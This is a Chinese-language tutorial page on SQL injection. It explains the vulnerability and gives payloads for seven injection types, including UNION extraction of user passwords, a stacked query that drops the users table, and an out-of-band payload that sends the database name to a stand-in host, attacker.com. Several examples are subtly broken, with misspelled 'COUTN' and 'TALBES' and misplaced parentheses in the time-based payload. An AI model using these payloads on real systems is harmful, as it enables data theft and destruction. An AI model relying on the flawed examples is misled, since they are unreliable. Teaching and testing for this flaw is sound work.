SQL注入漏洞
🎏

SQL注入漏洞

Tags
Web
SQL注入
security
状态
Published
March 9, 2025
Author
敬请T期待

SQL注入

Description

定义:攻击者通过构造恶意输入,篡改原始SQL查询逻辑,实现数据窃取、篡改或系统提权。
条件:开发中直接拼接用户输入的SQL语句,并未对语句进行严格的合法性校验。
示例漏洞代码:
select * from users where username = '$user' AND password = '$pass'; -- 攻击者输入: username = 'admin'--  (注释掉后续校验)

Sort

💡
常见分类
  1. 联合查询注入(Union-Based)
  1. 报错注入(Error-Based)
  1. 布尔盲注(Boolen Blind)
  1. 时间盲注 (Time-Based Blind)
  1. 堆叠注入(Stacked Queries)
  1. 二次注入(Second-Order)
  1. 带外攻击注入(Out-of-Band)

联合查询注入(Union-Based)

  • 原理:通过UNION拼接恶意查询,获取其他表数据。
  • Payload示例:
' UNION SELECT username ,password FROM users--
  • 利用条件
    • 原查询结果列数与UNION后查询列数一致。
    • 页面返回查询结果。

报错注入 (Error-Based)

  • 原理:触发数据库错误,通过错误信息回显获取数据。
  • Payload示例(MySQL):
' AND (SELECT 1 FROM (SELECT COUTN(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TALBES GROUP BY x)a)--
典型函数extractvalue()updatexml()exp()(需数据库版本支持)。

布尔注入 (Boolen Blind)

  • 原理:根据页面返回内容(True/False)逐字符猜测数据。
  • Payload示例
' AND SUBSTRING((SELECT DATABASE()),1,1) = 'a'--
应用场景:无数据回显,但页面状态(如HTTP响应码)随查询结果变化。

时间盲注 (Time-Based Blind)

  • 原理:通过注入时间延迟函数,判断条件是否成立。
  • Payload示例(MySQL):
' AND IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1)=115,SLEEP(5),1)--
常用函数SLEEP()(MySQL)、WAITFOR DELAY(SQL Server)、pg_sleep()(PostgreSQL)。

堆叠注入 (Stacked Queries)

  • 原理:利用分号;执行多条SQL语句,实现增删改操作。
  • Payload示例
'; DROP TABLE users;--
条件:需数据库驱动支持多语句执行(如PHP+MySQL默认禁用)。

二次注入 (Second Order)

  • 原理:恶意数据先被存储,后续操作触发注入。
  • 场景:注册用户名输入admin'--,后续密码重置功能触发注入。

带外攻击注入(Out-of-Band)

  • 原理:通过DNS、HTTP等外联请求传递数据。
  • Payload示例(MySQL):
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.attacker.com\\test'))--
应用场景:盲注效率低时,强制数据库向外发起请求泄露数据。